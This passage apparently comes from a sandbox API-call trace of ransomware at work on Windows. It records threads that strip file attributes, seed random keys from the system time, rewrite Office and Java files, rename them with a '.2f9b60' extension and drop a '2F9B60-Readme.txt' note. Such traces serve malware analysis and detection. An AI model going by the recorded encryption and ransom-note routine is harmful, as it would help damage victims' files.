(HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd93e0 [0164.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd93e0) returned 1 [0164.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cdd93e0 [0164.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd93b0 [0164.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd92f0 [0164.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd92f0) returned 1 [0164.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x42059970 [0164.330] sprintf (in: _Dest=0x42059970, _Format="%c%c" | out: _Dest="92") returned 2 [0164.330] sprintf (in: _Dest=0x42059972, _Format="%c%c" | out: _Dest="e0") returned 2 [0164.330] sprintf (in: _Dest=0x42059974, _Format="%c%c" | out: _Dest="d4") returned 2 [0164.330] sprintf (in: _Dest=0x42059976, _Format="%c%c" | out: _Dest="93") returned 2 [0164.330] sprintf (in: _Dest=0x42059978, _Format="%c%c" | out: _Dest="a9") returned 2 [0164.330] sprintf (in: _Dest=0x4205997a, _Format="%c%c" | out: _Dest="ca") returned 2 [0164.330] sprintf (in: _Dest=0x4205997c, _Format="%c%c" | out: _Dest="12") returned 2 [0164.330] sprintf (in: _Dest=0x4205997e, _Format="%c%c" | out: _Dest="52") returned 2 [0164.331] sprintf (in: _Dest=0x42059980, _Format="%c%c" | out: _Dest="7a") returned 2 [0164.331] sprintf (in: _Dest=0x42059982, _Format="%c%c" | out: _Dest="28") returned 2 [0164.331] sprintf (in: _Dest=0x42059984, _Format="%c%c" | out: _Dest="7d") returned 2 [0164.331] sprintf (in: _Dest=0x42059986, _Format="%c%c" | out: _Dest="19") returned 2 [0164.331] sprintf (in: _Dest=0x42059988, _Format="%c%c" | out: _Dest="58") returned 2 [0164.331] sprintf (in: _Dest=0x4205998a, _Format="%c%c" | out: _Dest="81") returned 2 [0164.331] sprintf (in: _Dest=0x4205998c, _Format="%c%c" | out: _Dest="fe") returned 2 [0164.331] sprintf (in: _Dest=0x4205998e, _Format="%c%c" | out: _Dest="39") returned 2 [0164.331] sprintf (in: _Dest=0x42059990, _Format="%c%c" | out: _Dest="1e") returned 2 [0164.331] sprintf (in: _Dest=0x42059992, _Format="%c%c" | out: _Dest="99") returned 2 [0164.331] sprintf (in: _Dest=0x42059994, _Format="%c%c" | out: _Dest="92") returned 2 [0164.331] sprintf (in: _Dest=0x42059996, _Format="%c%c" | out: _Dest="d8") returned 2 [0164.331] sprintf (in: _Dest=0x42059998, _Format="%c%c" | out: _Dest="19") returned 2 [0164.331] sprintf (in: _Dest=0x4205999a, _Format="%c%c" | out: _Dest="1b") returned 2 [0164.331] sprintf (in: _Dest=0x4205999c, _Format="%c%c" | out: _Dest="7d") returned 2 [0164.331] sprintf (in: _Dest=0x4205999e, _Format="%c%c" | out: _Dest="7a") returned 2 [0164.331] sprintf (in: _Dest=0x420599a0, _Format="%c%c" | out: _Dest="15") returned 2 [0164.331] sprintf (in: _Dest=0x420599a2, _Format="%c%c" | out: _Dest="96") returned 2 [0164.331] sprintf (in: _Dest=0x420599a4, _Format="%c%c" | out: _Dest="6c") returned 2 [0164.331] sprintf (in: _Dest=0x420599a6, _Format="%c%c" | out: _Dest="20") returned 2 [0164.331] sprintf (in: _Dest=0x420599a8, _Format="%c%c" | out: _Dest="a4") returned 2 [0164.331] sprintf (in: _Dest=0x420599aa, _Format="%c%c" | out: _Dest="97") returned 2 [0164.331] sprintf (in: _Dest=0x420599ac, _Format="%c%c" | out: _Dest="9f") returned 2 [0164.331] sprintf (in: _Dest=0x420599ae, _Format="%c%c" | out: _Dest="a7") returned 2 [0164.331] sprintf (in: _Dest=0x420599b0, _Format="%c%c" | out: _Dest="44") returned 2 [0164.331] sprintf (in: _Dest=0x420599b2, _Format="%c%c" | out: _Dest="01") returned 2 [0164.331] RtlInitAnsiString (in: DestinationString=0x3795fc28, SourceString="92e0d493a9ca12527a287d195881fe391e9992d8191b7d7a15966c20a4979fa74401" | out: DestinationString="92e0d493a9ca12527a287d195881fe391e9992d8191b7d7a15966c20a4979fa74401") [0164.331] RtlAnsiStringToUnicodeString (in: DestinationString=0x3795fbf8, SourceString="92e0d493a9ca12527a287d195881fe391e9992d8191b7d7a15966c20a4979fa74401", AllocateDestinationString=1 | out: DestinationString="92e0d493a9ca12527a287d195881fe391e9992d8191b7d7a15966c20a4979fa74401") returned 0x0 [0164.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x42c30270 [0164.332] RtlFreeAnsiString (AnsiString="9") [0164.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd93e0) returned 1 [0164.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd93b0) returned 1 [0164.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c14090) returned 1 [0164.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8040) returned 1 [0164.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9560) returned 1 [0164.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0164.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9590) returned 1 [0164.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1220) returned 1 [0164.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1520) returned 1 [0164.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1550) returned 1 [0164.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x42c301d0 [0164.335] wcscat (in: _Dest=0x42c301d0, _Source="92e0d493a9ca12527" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\92e0d493a9ca12527") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\92e0d493a9ca12527" [0164.335] wcscat (in: _Dest=0x42c301d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\92e0d493a9ca12527.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\92e0d493a9ca12527.2f9b60" [0164.335] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\92e0d493a9ca12527.2f9b60", NtPathName=0x3795fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\92e0d493a9ca12527.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x42c2bdd0 [0164.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2bdd0) returned 1 [0164.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c26db0) returned 1 [0164.365] NtQueryInformationFile (in: FileHandle=0x628, IoStatusBlock=0x3795fc38, FileInformation=0x3795fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3795fc38, FileInformation=0x3795fc48) returned 0x0 [0164.365] NtSetInformationFile (FileHandle=0x628, IoStatusBlock=0x3795fc38, FileInformation=0x3795fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c301d0) returned 1 [0164.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30270) returned 1 [0164.366] FlushFileBuffers (hFile=0x628) returned 1 [0166.261] CloseHandle (hObject=0x628) returned 1 [0183.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85c330 [0183.961] wcscpy (in: _Dest=0x1b85c330, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\" [0183.961] wcscat (in: _Dest=0x1b85c330, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\2F9B60-Readme.txt" [0183.961] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\2f9b60-readme.txt")) returned 0xffffffff [0183.961] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe2c [0209.592] WriteFile (in: hFile=0xe2c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3795faf0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3795faf0*=0xba9, lpOverlapped=0x0) returned 1 [0216.696] CloseHandle (hObject=0xe2c) returned 1 [0216.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c330) returned 1 [0216.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b430) returned 1 Thread: id = 2629 os_tid = 0x2180 [0156.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10253_.gif")) returned 0x20 [0156.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", dwFileAttributes=0x20) returned 1 [0156.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10253_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6d4 [0156.715] GetFileSizeEx (in: hFile=0x6d4, lpFileSize=0x37c0fa20 | out: lpFileSize=0x37c0fa20*=2407) returned 1 [0156.715] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x963, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.716] ReadFile (in: hFile=0x6d4, lpBuffer=0x37c0f9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x37c0f9e8, lpOverlapped=0x0 | out: lpBuffer=0x37c0f9a0*, lpNumberOfBytesRead=0x37c0f9e8*=0x4, lpOverlapped=0x0) returned 1 [0160.688] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e60 [0160.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a12b0 [0160.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1580 [0160.689] NtQuerySystemTime (in: CurrentTime=0x37c0f8e0 | out: CurrentTime=0x37c0f8e0*=132462177658198000) returned 0x0 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x1f936a79 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x7b13b9ff [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x7229084 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x11e00f54 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x634dfdd5 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x65265570 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x1649f29 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0xe17319a [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x7e52be20 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x652060b8 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x16a7b6af [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x4daccbe0 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x4eb20c40 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x24351c72 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x780edcf6 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0xaa3733b [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x3e54ab3e [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x4ab1feca [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x2d3ed4f2 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x9d9a9f9 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x2cf30e64 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x33454ff2 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x5ec80ab5 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x1030b695 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x65265570 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x3664464c [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0xd889a94 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x4daccbe0 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x44131af2 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x2eb5468b [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x750086c7 [0160.689] RtlRandomEx (in: Seed=0x37c0f8d0 | out: Seed=0x37c0f8d0) returned 0x5ba55b75 [0160.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a15b0 [0160.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce599b0 [0160.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a15e0 [0160.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce599b0) returned 1 [0160.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1580) returned 1 [0160.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0e60) returned 1 [0160.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059740 [0160.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce599b0 [0160.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e60 [0160.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0e60) returned 1 [0160.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422d3dd0 [0160.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422d79e0 [0160.698] ReadFile (in: hFile=0x6d4, lpBuffer=0x422d3dd0, nNumberOfBytesToRead=0x967, lpNumberOfBytesRead=0x37c0f8d0, lpOverlapped=0x0 | out: lpBuffer=0x422d3dd0*, lpNumberOfBytesRead=0x37c0f8d0*=0x967, lpOverlapped=0x0) returned 1 [0160.698] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.698] WriteFile (in: hFile=0x6d4, lpBuffer=0x422d79e0*, nNumberOfBytesToWrite=0x967, lpNumberOfBytesWritten=0x37c0f8d4, lpOverlapped=0x0 | out: lpBuffer=0x422d79e0*, lpNumberOfBytesWritten=0x37c0f8d4*=0x967, lpOverlapped=0x0) returned 1 [0165.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19c80 [0165.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19bf0 [0165.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19bf0) returned 1 [0165.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422d79e0) returned 1 [0165.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422d3dd0) returned 1 [0165.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce599b0) returned 1 [0165.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059740) returned 1 [0165.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c19bf0 [0165.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059740 [0165.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce599b0 [0165.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19bc0 [0165.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19bc0) returned 1 [0165.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c19bc0 [0165.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19b60 [0165.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19aa0 [0165.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19aa0) returned 1 [0165.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce599b0) returned 1 [0165.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059740) returned 1 [0165.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce131f0 [0165.882] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0165.882] WriteFile (in: hFile=0x6d4, lpBuffer=0x1ce131f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x37c0f9f0, lpOverlapped=0x0 | out: lpBuffer=0x1ce131f0*, lpNumberOfBytesWritten=0x37c0f9f0*=0x10a, lpOverlapped=0x0) returned 1 [0200.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9310 [0200.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9310) returned 1 [0200.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9310 [0200.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8ce0 [0200.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8ce0) returned 1 [0200.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8400 [0200.439] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="28") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="4b") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="fb") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="4b") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="06") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="58") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="a9") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="1a") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="5e") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="de") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="b4") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="c1") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="71") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="e8") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="da") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="b3") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="af") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="9c") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="14") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="83") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d8428, _Format="%c%c" | out: _Dest="f5") returned 2 [0200.439] sprintf (in: _Dest=0x1b7d842a, _Format="%c%c" | out: _Dest="bb") returned 2 [0200.440] sprintf (in: _Dest=0x1b7d842c, _Format="%c%c" | out: _Dest="ca") returned 2 [0200.440] sprintf (in: _Dest=0x1b7d842e, _Format="%c%c" | out: _Dest="67") returned 2 [0200.440] RtlInitAnsiString (in: DestinationString=0x37c0fa68, SourceString="284bfb4b0658a91a5edeb4c171e8dab3af9c1483f5bbca67" | out: DestinationString="284bfb4b0658a91a5edeb4c171e8dab3af9c1483f5bbca67") [0200.440] RtlAnsiStringToUnicodeString (in: DestinationString=0x37c0fa38, SourceString="284bfb4b0658a91a5edeb4c171e8dab3af9c1483f5bbca67", AllocateDestinationString=1 | out: DestinationString="284bfb4b0658a91a5edeb4c171e8dab3af9c1483f5bbca67") returned 0x0 [0200.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430a0910 [0200.440] wcscat (in: _Dest=0x2050c710, _Source="284bfb4b0658" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\284bfb4b0658") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\284bfb4b0658" [0200.441] wcscat (in: _Dest=0x2050c710, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\284bfb4b0658.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\284bfb4b0658.2f9b60" [0200.441] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\284bfb4b0658.2f9b60", NtPathName=0x37c0fa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\284bfb4b0658.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x431edda0 Thread: id = 2630 os_tid = 0x2184 [0156.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10254_.gif")) returned 0x20 [0156.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF", dwFileAttributes=0x20) returned 1 [0156.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10254_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x798 [0156.724] GetFileSizeEx (in: hFile=0x798, lpFileSize=0x275ff720 | out: lpFileSize=0x275ff720*=240) returned 1 [0156.724] SetFilePointerEx (in: hFile=0x798, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.724] ReadFile (in: hFile=0x798, lpBuffer=0x275ff6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x275ff6e8, lpOverlapped=0x0 | out: lpBuffer=0x275ff6a0*, lpNumberOfBytesRead=0x275ff6e8*=0x4, lpOverlapped=0x0) returned 1 [0156.726] SetFilePointerEx (in: hFile=0x798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6970 [0156.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6940 [0156.727] NtQuerySystemTime (in: CurrentTime=0x275ff5e0 | out: CurrentTime=0x275ff5e0*=132462177618574000) returned 0x0 [0156.727] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0xcc2f52e [0156.727] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x7411642e [0156.727] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x573c41c7 [0156.727] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0xd182cd2 [0156.727] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x16d63efe [0156.727] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x5717d53 [0156.727] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x241fbf3e [0156.727] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x224bf332 [0156.727] RtlRandomEx (in: 